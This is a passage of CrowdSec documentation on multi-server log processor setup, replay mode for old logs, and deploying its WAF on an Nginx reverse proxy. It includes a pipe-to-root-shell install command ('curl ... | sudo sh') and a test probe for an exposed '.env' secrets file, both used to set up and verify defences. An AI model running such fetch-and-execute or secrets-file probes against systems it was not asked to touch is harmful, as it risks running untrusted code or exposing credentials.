Log processors") Again, follow the [getting started guide](https://docs.crowdsec.net/u/getting_started/installation/linux.md) to install Crowdsec. Once the installation is done, you need to edit the `/etc/crowdsec/config.yaml` to disable the LAPI running by default. To do so, you can remove the entire `api.server` section from the file. You can now use `cscli` to register the log processor in your LAPI: SHCOPY ``` $ sudo cscli lapi register --machine MyMachineName --url ``` Credentials will be generated automatically and written to `/etc/crowdsec/local_api_credentials.yaml` If you have configured auto registration on LAPI, you can specify the token in the `register` command: SHCOPY ``` $ sudo cscli lapi register --machine MyMachineName --url --token long_token_that_is_at_least_32_characters_long ``` If not, you will need to validate the machine on LAPI: SHCOPY ``` $ sudo cscli machines validate MyMachineName ``` Finally, restart the log processor to use the new credentials. You can check the validation status of a log processor with `cscli machines list` and looking at the `Status` column: SHCOPY ``` $ sudo cscli machines list โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name IP Address Last Update Status Version OS Auth Type Last Heartbeat โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ MyMachineName 192.168.4.142 2024-11-22T14:20:28Z โœ”๏ธ v1.6.4-debian-pragmatic-amd64-523164f6-linux Ubuntu/24.04 password 33s โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` You can also verify the log processors can properly authenticate with LAPI by running this command on the machine the log processor is installed on: SHCOPY ``` $ sudo cscli lapi status Loaded credentials from /etc/crowdsec/local_api_credentials.yaml Trying to authenticate with username XXXXX on http://crowdsec.local:8080/ You can successfully interact with Local API (LAPI) ``` Repeat this procedure for each log processor you want to add to LAPI. warning Log processors do not share any information between them. For example, if a load balancer randomly distributes traffic accross multiple web servers, it will take more time to detect bad traffic, as each log processor will only be seeing the logs from its respective server. In this case, we recommend using a centralized logging solution and have a single log processor reading the logs there. ### Remediation Components[โ€‹](#remediation-components "Direct link to Remediation Components") info Since crowdsec v1.6.4, multiple remediations components running on different machines can use the same API key. On installation, remediations components will try to automatically create an API key if they are installed on the same machine as LAPI, which likely won't be the case for a multi-server installation. In this case, you will need to manually create an API key for you remediation component by running this command on your LAPI instance: SHCOPY ``` $ sudo cscli bouncers add MyBouncer API key for 'MyBouncer': ulOPOSWxLcD8LaNmOMKOkYaG7AQYY+qZ2ho7pPyCAIU Please keep this key since you will not be able to retrieve it! ``` Next, update the remediation component configuration file with the API key that you created and the URL to LAPI. Remediation components will generally store their configuration in `/etc/crowdsec/bouncers/`, and the configuration directives naming for the API key and URL might vary from one remediation component to the other, please refer to the specific documentation of the component you have installed. --- # Replay Mode While CrowdSec can be used to monitor "live" logs, it can also be used to replay old log files (replay/forensic mode). It is a *great* way to test scenario, detect false positives & false negatives or simply generate reporting for a period in the past. When doing so, CrowdSec will read the logs and extract timestamps from them, so that the scenarios/buckets can be evaluated with the log's timestamps. The resulting overflows will be pushed to the API like any other alert, but the timestamps will be taken from the logs, properly allowing you to view the alerts in their original time line. you can run: SHCOPY ``` sudo crowdsec -c /etc/crowdsec/user.yaml -dsn file:///path/to/your/log/file.log -type log_file_type ``` Where `-dsn` points to the log file you want to process, and the `-type` is similar to what you would put in your acquisition's label field, for example: SHCOPY ``` sudo crowdsec -c /etc/crowdsec/user.yaml -dsn file:///var/log/nginx/2019.log -type nginx sudo crowdsec -c /etc/crowdsec/user.yaml -dsn file:///var/log/sshd-2019.log -type syslog sudo crowdsec -c /etc/crowdsec/user.yaml -dns "journalctl://filters=_SYSTEMD_UNIT=ssh.service" -type syslog ``` When running crowdsec in forensic mode, the alerts will be displayed to stdout, and as well pushed to database: SHCOPY ``` $ sudo crowdsec -c /etc/crowdsec/user.yaml -dsn file:///var/log/nginx/nginx-2019.log.1 -type nginx ... INFO[13-11-2020 13:05:23] Ip 123.206.50.249 performed 'crowdsecurity/http-probing' (11 events over 6s) at 2019-01-01 01:37:32 +0100 CET INFO[13-11-2020 13:05:23] Ip 123.206.50.249 performed 'crowdsecurity/http-backdoors-attempts' (2 events over 1s) at 2019-01-01 01:37:33 +0100 CET INFO[13-11-2020 13:05:24] (14baeedafc1e44c08b806fc0c1cd92c4/crowdsec) crowdsecurity/http-probing by ip 123.206.50.249 (CN) : 1h ban on Ip 123.206.50.249 INFO[13-11-2020 13:05:24] (14baeedafc1e44c08b806fc0c1cd92c4/crowdsec) crowdsecurity/http-backdoors-attempts by ip 123.206.50.249 (CN) : 1h ban on Ip 123.206.50.249 ... ``` And since these alerts are also pushed to the database, it mean you can view them in metabase, or from cscli! When using metabase, simply use the time selector to view the appropriate period in the main dashboard: ![metabase-timeselector](/assets/images/dashboard-timeselect-01efda266c9b9c41e80ae79f7769a552.png) warning To work in forensic mode, crowdsec-agent relies on [crowdsecurity/dateparse-enrich](https://hub.crowdsec.net/author/crowdsecurity/configurations/dateparse-enrich) to parse date formats. See dedicated hub page for supported formats. Optionally, you can also specify an expression with `--transform` that will be run before sending a line to the parsers. For example, to read cloudtrail logs from a S3 bucket, you will need to use this option to generate one event per cloudtrail record: SHCOPY ``` sudo crowdsec -c /etc/crowdsec/user.yaml --dsn s3://my_cloudtrail_bucket/AWSLogs/ACCOUNT_ID/CloudTrail/REGION/YEAR/MONTH/DAY/CLOUDTRAIL_FILE.json.gz\?max_buffer_size=1048576 --type aws-cloudtrail --transform 'map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#))' ``` It will parse the JSON array `Records` and generate one event per entry in the array, returning each of them as a string. `max_buffer_size` is used to control the maximum length of a line that can be read. ## Injecting alerts into an existing database[โ€‹](#injecting-alerts-into-an-existing-database "Direct link to Injecting alerts into an existing database") If you already have a running crowdsec/Local API running and want to inject events into existing database, you can run crowdsec directly: SHCOPY ``` sudo crowdsec -dsn file://logs/nginx/access.log -type nginx -no-api ``` Crowdsec will process `logs/nginx/access.log` and push alerts to the Local API configured in your default configuration file (`/etc/crowdsec/config.yaml`, see `api.client.credentials_path`) ## Injecting alerts into a new database - no local instance running[โ€‹](#injecting-alerts-into-a-new-database---no-local-instance-running "Direct link to Injecting alerts into a new database - no local instance running") If you don't have a service currently running, you can run crowdsec directly: SHCOPY ``` sudo crowdsec -dsn file://logs/nginx/access.log -type nginx ``` Crowdsec will start a Local API and process `logs/nginx/access.log`. ## Injecting alerts into a new database - while a local instance is running[โ€‹](#injecting-alerts-into-a-new-database---while-a-local-instance-is-running "Direct link to Injecting alerts into a new database - while a local instance is running") If you have a local instance running and you don't want to pollute your existing database, you can configure a separate instance of Local API & database. Let's copy the existing configuration to edit it: SHCOPY ``` $ sudo cp /etc/crowdsec/config.yaml ./forensic.yaml $ emacs ./forensic.yaml ``` In our file, let's edit the local API & database config to ensure we are not going to pollute the existing data: SHCOPY ``` $ emacs ./forensic.yaml ... db_config: type: sqlite # we edit the db_path to point to a different SQLite database db_path: /var/lib/crowdsec/data/crowdsec_alt.db # let's comment out the auto-flush (database garbage collection) #flush: # max_items: 5000 # max_age: 7d ... api: client: # we edit credentials_path to point to a local file credentials_path: /tmp/local_api_credentials.yaml server: # we edit the listen_uri so that it doesn't try to listen on the same port as the existing Local API listen_uri: 127.0.0.1:8081 ``` With the following edits, we ensure that: * The SQLite database path will be different: it avoids conflicts if you already had one running locally * Edit the local api credentials path: we're going to register our machine to the ephemeral Local API * Edit the listen uri of the local api: it avoids conflicts for listen port in case you already had one running locally * Comment out the `flush` section: it ensures the database garbage collector won't run and delete the old events you're injecting ;) Let's create the new database and register a machine to it: SHCOPY ``` $ touch /tmp/local_api_credentials.yaml $ cscli -c forensic.yaml machines add --auto INFO[0000] Machine '...' created successfully INFO[0000] API credentials dumped to '/tmp/local_api_credentials.yaml' $ cat /tmp/local_api_credentials.yaml url: http://127.0.0.1:8081 login: ... password: ... ``` Now we can start the new Local API and crowdsec: SHCOPY ``` $ crowdsec -c ./forensic.yaml -dsn file://github/crowdsec/OLDS/LOGS/nginx/10k_ACCESS_LOGS.log -type nginx ... INFO[15-11-2020 10:09:20] Ip x.x.x.x performed 'crowdsecurity/http-bad-user-agent' (2 events over 0s) at 2017-10-21 13:58:38 +0200 CEST INFO[15-11-2020 10:09:20] Ip y.y.y.y performed 'crowdsecurity/http-probing' (11 events over 0s) at 2017-10-23 12:00:34 +0200 CEST ... ``` And we can even fire a dedicated dashboard to view the data: SHCOPY ``` $ cscli -c forensic.yaml dashboard setup INFO[0000] /var/lib/crowdsec/data/metabase.db exists, skip. INFO[0000] Pulling docker image metabase/metabase:v0.37.0.2 ... INFO[0001] creating container '/crowdsec-metabase' INFO[0002] waiting for metabase to be up (can take up to a minute) ......... INFO[0040] Metabase is ready URL : 'http://127.0.0.1:3000' username : 'crowdsec@crowdsec.net' password : ... ``` ## Injection alerts into new database - dev env[โ€‹](#injection-alerts-into-new-database---dev-env "Direct link to Injection alerts into new database - dev env") From a fresh release: SHCOPY ``` $ tar xvzf crowdsec-release.tgz $ cd crowdsec-v1.0.0-rc $ ./test_env.sh $ cd tests ``` Install the needed collection(s): SHCOPY ``` $ ./cscli -c dev.yaml collections install crowdsecurity/nginx ``` And we can process logs: SHCOPY ``` $ ./crowdsec -c dev.yaml -dsn file://github/crowdsec/OLDS/LOGS/nginx/10k_ACCESS_LOGS.log -type nginx INFO[0000] single file mode : log_media=stdout daemonize=true INFO[15-11-2020 11:18:27] Crowdsec v1.0.0-rc-0ecb142dfffc89b019b6d9044cb7cc5569d12c70 INFO[15-11-2020 11:18:38] Ip x.x.x.x performed 'crowdsecurity/http-sensitive-files' (5 events over 4s) at 2017-10-23 12:35:54 +0200 CEST INFO[15-11-2020 11:18:39] (test/crowdsec) crowdsecurity/http-probing by ip x.x.x.x (DE) : 1h ban on Ip x.x.x.x ``` And we can then query the local api (while letting the CrowdSec running): SHCOPY ``` $ ./cscli -c dev.yaml alerts list +----+--------------------+---------------------------------------+---------+--------------+-----------+--------------------------------+ | ID | VALUE | REASON | COUNTRY | AS | DECISIONS | CREATED AT | +----+--------------------+---------------------------------------+---------+--------------+-----------+--------------------------------+ | 28 | Ip:x.x.x.x | crowdsecurity/http-crawl-non_statics | DE | Linode, LLC | ban:1 | 2017-10-23 12:36:48 +0200 | | | | | | | | +0200 | | 27 | Ip:x.x.x.x | crowdsecurity/http-sensitive-files | DE | Linode, LLC | ban:1 | 2017-10-23 12:35:50 +0200 | | | | | | | | +0200 | ``` Or even start a dashboard to view data: SHCOPY ``` $ sudo ./cscli dashboard setup ... INFO[0002] waiting for metabase to be up (can take up to a minute) ........ ``` --- # CrowdSec WAF Reverse Proxy ## Introduction[โ€‹](#introduction "Direct link to Introduction") In this guide, we will showcase how to deploy the CrowdSec WAF with Nginx reverse proxy, easily protecting a fleet of other web applications from a single point. We will set up a reverse proxy (Nginx) protected with CrowdSec in front of our web server (Apache) to block malicious traffic before it reaches our application. **This article dives into the technical details of configuring CrowdSec WAF.** To achieve robust protection, we'll use two key components that work in tandem: the **Security Engine** and the **Web Application Firewall (WAF)** *โ€“ enabled by an WAF-capable Remediation Component aka **Bouncer**, in our case, CrowdSecโ€™s NGINX Bouncer* **The Security Engine**: excels at identifying persistent or recurring behaviours. It analyzes your web server/reverse proxy logs to identify suspicious patterns of behavior. For example, the http-probing scenario detects IPs rapidly requesting a large number of non-existent files โ€“ a common tactic used by vulnerability scanners searching known vulnerabilities, backdoors, or publicly exposed admin interfaces. While powerful and able to protect a large number service from various log sources, the Security Engine reacts **after** the request have been processed by your web server. **The Web Application Firewall (WAF):** The WAF acts as your immediate response, blocking malicious requests before they even reach your application or backend. With the help of the bouncer/remediation component relaying the requests to the AppSec engine, it will apply virtual patching rules to block requests that are, without a doubt, malevolent. A great example is the `vpatch-env-access` rule, which blocks requests attempting to access .env files (which should never be publicly accessible!). Our vpatching collection has hundreds of rules tailored to precisely block vulnerability attempts. info Virtual Patching Rules focus on detecting and preventing the exploitation of a specific vulnerability, allowing very minimal risk of false positives. **Together, these components provide layered protection, making it significantly harder for attackers to succeed.** WAFs are powerful, but no matter what WAF vendors make you believe, determined attackers can often find ways to bypass your WAF configuration. Here, the Security Engine will rely on the WAF detection to make longer-term decisions against repeating malevolent IPs. ## Initial Setup[โ€‹](#initial-setup "Direct link to Initial Setup") For our experiment, weโ€™ll set up two Ubuntu 24.04 servers. One will be creatively called `webserver`, and the other will be called `nginx-RP`. Weโ€™ll install `apache` on `webserver`, configured to listen on port 3000, and `nginx` on `nginx-RP`. `webserver` has IP `Y.Y.Y.Y`, while `nginx-RP` has IP `X.X.X.X`. We'll deploy the following configuration for nginx as a reverse proxy. /etc/nginx/sites-enabled/default TEXTCOPY ``` server { listen 80; server_name _; location / { proxy_pass http://Y.Y.Y.Y:3000; # Allows passing requests to the backend web server. proxy_set_header X-Real-IP $remote_addr; # Important to keep track of the original IP. proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } ``` And the following Apache config: /etc/apache2/sites-enabled/000-default.conf TEXTCOPY ``` # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html RemoteIPHeader X-Real-IP RemoteIPTrustedProxy X.X.X.X # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf ``` ๐Ÿ’กThe two relevant parts here are `VirtualHost *:3000` to make Apache listen on port 3000, and `RemoteIPHeader` + `RemoteIPTrustedProxy` to ensure our logs contain the real IPs and not only the IP of the reverse proxy server. So, if we now access the public IP of our reverse proxy, weโ€™ll see Apacheโ€™s default page. We do have our Nginx logs: SHCOPY ``` ==> /var/log/nginx/access.log <== A.B.C.D - - [22/May/2025:08:32:49 +0000] "GET / HTTP/1.1" 200 3121 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" A.B.C.D - - [22/May/2025:08:32:49 +0000] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3322 "http://3.252.135.216/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" A.B.C.D - - [22/May/2025:08:32:50 +0000] "GET /favicon.ico HTTP/1.1" 404 245 "http://3.252.135.216/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" ``` And the Apache logs: SHCOPY ``` ==> /var/log/apache2/access.log <== A.B.C.D - - [22/May/2025:08:32:49 +0000] "GET / HTTP/1.1" 200 3404 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" A.B.C.D - - [22/May/2025:08:32:49 +0000] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3552 "http://3.252.135.216/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" A.B.C.D - - [22/May/2025:08:32:50 +0000] "GET /favicon.ico HTTP/1.1" 404 438 "http://3.252.135.216/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" ``` warning At this stage, check that both Apache's and Nginx's logs are the real originating IP (ie. `A.B.C.D`) ## Time to level up our security - Security Engine[โ€‹](#time-to-level-up-our-security---security-engine "Direct link to Time to level up our security - Security Engine") As soon as our server is online, hordes of malevolent IPs will jump on it with clear bad intentions. What is currently happening is this: ![initial setup](/assets/images/original-setup-59d91a2ceef260c4f3ba7357c09e617f.png) Thus, it is time to step up our security with CrowdSec. We will deploy the Security Engine, the WAF, and an Nginx bouncer on our Reverse Proxy server so that we can achieve this: ![harden setup](/assets/images/harden-setup-8f08539b416dc269a914c1809803fa97.png) To [install CrowdSec on our reverse proxy](https://doc.crowdsec.net/u/getting_started/installation/linux), letโ€™s grab the crowdsec repository: SHCOPY ``` curl -s https://install.crowdsec.net | sudo sh ``` And letโ€™s install crowdsec: SHCOPY ``` sudo apt install crowdsec ``` The relevant part of the install log is the following: SHCOPY ``` Creating /etc/crowdsec/acquis.yaml INFO[2025-05-22 09:40:27] crowdsec_wizard: service 'nginx': /var/log/nginx/error.log /var/log/nginx/access.log INFO[2025-05-22 09:40:27] crowdsec_wizard: service 'ssh': /var/log/auth.log INFO[2025-05-22 09:40:27] crowdsec_wizard: service 'linux': /var/log/syslog /var/log/kern.log ``` It detected weโ€™re running nginx, and will automatically install the relevant scenarios and start monitoring the associated logfiles! Then, we will enrol the SE in the console: ![cscli enroll](/assets/images/cscli-enroll-d36dd985c0eb421f099dd4e05e7803d4.png) Accept it in the console: ![enroll console](/assets/images/cscli-enroll-console-view-576372a7841c1c844c878b1a6b5f75c3.png) ## Detecting is cool, blocking is better.[โ€‹](#detecting-is-cool-blocking-is-better "Direct link to Detecting is cool, blocking is better.") To complete our setup, we need the ability to block bad IPs and requests before they reach Apache, our backend server. We will install the Nginx bouncer (or remediation component) for this. The bouncer can block IPs when instructed by CrowdSec. As simple as this: SHCOPY ``` sudo apt install crowdsec-nginx-bouncer ``` What matters in the installation output is that: SHCOPY ``` cscli is /usr/bin/cscli cscli/crowdsec is present, generating API key API Key : Restart nginx to enable the crowdsec bouncer : sudo systemctl restart nginx ``` The bouncer installation detects a running CrowdSec on the same machine and in this case it will self-configure. ## Testing ๐Ÿ™‚[โ€‹](#testing- "Direct link to Testing ๐Ÿ™‚") From a 3rd-party machine, letโ€™s try to trigger our newly deployed crowdsec. We're going to use the dedicated [crowdsecurity/http-generic-test](https://app.crowdsec.net/hub/author/crowdsecurity/scenarios/http-generic-test) to ensure our logs are properly processed: SHCOPY ``` curl http://Y.Y.Y.Y/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` On our reverse-proxy logs, we can see in CrowdSec and nginx: SHCOPY ``` ==> /var/log/crowdsec.log <== time="2025-08-06T13:06:44Z" level=info msg="Ip A.B.C.D performed 'crowdsecurity/http-generic-test' (1 events over 0s) at 2025-08-06 13:06:44.35424178 +0000 UTC" time="2025-08-06T13:06:44Z" level=info msg="(3ef52352a7e54c92b4394646a32bc095auADzhivHUYuhyJb) alert : crowdsecurity/http-generic-test by ip A.B.C.D (FR/5410)" ``` ## Going further - Web Application Firewall[โ€‹](#going-further---web-application-firewall "Direct link to Going further - Web Application Firewall") However, this approach has a limit: CrowdSec reads logs and acts based on their content, which means that you somehow react to an attack that has already happened. We want to intercept malevolent requests โ€œon the flyโ€ so that they never reach our backend server, Apache. This is the job of the [WAF](https://doc.crowdsec.net/docs/next/appsec/intro): We follow [this quickstart guide](https://doc.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty) : 1. We install the appsec collection. They contain the WAF rules SHCOPY ``` sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules ``` 2. We enable the AppSec/WAF acquisition, which allows CrowdSec to expose a service to which Nginx can post validation requests. SHCOPY ``` cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF appsec_config: crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec EOF ``` info See [dedicated page about configuration file directives](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md) 3. We restart CrowdSec SHCOPY ``` sudo systemctl restart crowdsec ``` 4. We instruct our nginx bouncer/remediation component to rely on CrowdSec for the WAF feature: SHCOPY ``` cat >> /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf << EOF APPSEC_URL=http://127.0.0.1:7422 EOF ``` 5. Finally, we restart nginx SHCOPY ``` sudo systemctl restart nginx ``` ## Testing the WAF[โ€‹](#testing-the-waf "Direct link to Testing the WAF") So now, we can try to trigger the WAF: SHCOPY ``` $ curl -I Y.Y.Y.Y/.env HTTP/1.1 403 Forbidden Server: nginx/1.24.0 (Ubuntu) Date: Fri, 23 May 2025 12:18:24 GMT Content-Type: text/html Connection: keep-alive cache-control: no-cache ``` And indeed in CrowdSecโ€™s logs: SHCOPY ``` ==> /var/log/crowdsec.log <== time="2025-05-23T12:18:24Z" level=info msg="AppSec block: crowdsecurity/vpatch-env-access from A.B.C.D (127.0.0.1)" ==> /var/log/nginx/error.log <== 2025/05/23 12:18:24 [alert] 25451#25451: *443 [lua] crowdsec.lua:637: Allow(): [Crowdsec] denied 'A.B.C.D' with 'ban' (by appsec), client: A.B.C.D, server: _, request: "HEAD /.env HTTP/1.1", host: "X.X.X.X" ==> /var/log/nginx/access.log <== A.B.C.D - - [23/May/2025:12:18:24 +0000] "HEAD /.env HTTP/1.1" 403 0 "-" "curl/8.5.0" ``` In this case, the WAF is going to stop the request, meaning the malevolent request will never reach our *backend* web server, Apache. ## Wrapping this up[โ€‹](#wrapping-this-up "Direct link to Wrapping this up") By setting up our reverse proxy with CrowdSecโ€™s WAF and SE in front of our application, we are blocking a massive amount of requests before they even reach our application. These blocks come from various sources: The Security Engine detects and blocks behaviours, banning offending IP addresses for an extended period to avoid them consuming our resources and limiting the chances they manage to breach our application. The WAF stops malevolent requests โ€œon the flyโ€ before they can reach our backend web server, and the community blocklist completes both by preemptively blocking malicious IPs. ---